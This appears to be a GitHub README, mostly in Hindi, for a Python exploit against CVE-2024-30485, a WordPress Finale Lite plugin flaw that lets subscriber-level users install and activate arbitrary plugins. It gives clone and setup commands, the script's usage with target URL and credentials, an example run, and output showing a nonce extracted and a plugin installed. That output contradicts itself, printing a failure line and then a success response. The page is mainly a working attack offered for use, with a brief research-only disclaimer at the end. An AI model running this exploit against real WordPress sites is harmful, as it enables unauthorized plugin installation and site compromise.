nxploited/cve-2024-30485WordPress Finale Lite plugin <= 2.18.0 - Subscriber+ Arbitrary Plugin Installation/Activation भेद्यता
CVE-2024-30485 WordPress के Finale Lite प्लगइन (संस्करण <= 2.18.0) में पाई गई एक उच्च-गंभीरता वाली भेद्यता है। यह भेद्यता प्रमाणित उपयोगकर्ताओं (सब्सक्राइबर+) को उचित प्राधिकरण के बिना मनमाने प्लगइन्स को स्थापित और सक्रिय करने की अनुमति देती है।
requests और beautifulsoup4 मॉड्यूल# Clone the repository
git clone https://github.com/Nxploited/CVE-2024-30485.git
cd CVE-2024-30485
# Install dependencies
pip install -r requirements.txt
usage: CVE-2024-30485.py [-h] -u TARGET -U USERNAME -P PASSWORD [plugin]
Exploit CVE-2024-30485 - Finale Lite | # by Khaled AlEnazi
positional arguments:
plugin Plugin slug
options:
-h, --help show this help message and exit
-u TARGET, --url TARGET WordPress site URL
-U USERNAME, --username USERNAME WordPress username
-P PASSWORD, --password PASSWORD WordPress password
python3 CVE-2024-30485.py -u target -U admin -P admin -- disable-comments
[+] Target is vulnerable! Detected version: 2.18.0
[+] Logged in successfully.
[+] Extracted Nonce: 2b46e05bc0
[-] Failed to install plugin.
Server Response:
<p>Unpacking the package…</p>
<p>Installing the plugin…</p>
<p>Plugin installed successfully.</p>
</div>{"success":true,"data":"Plugin installed and activated successfully!"}
यह स्क्रिप्ट केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है। बिना अनुमति के सिस्टम पर अनधिकृत परीक्षण अवैध है। जिम्मेदारी से उपयोग करें।
द्वारा: खालिद अलेनाज़ी (Nxploit)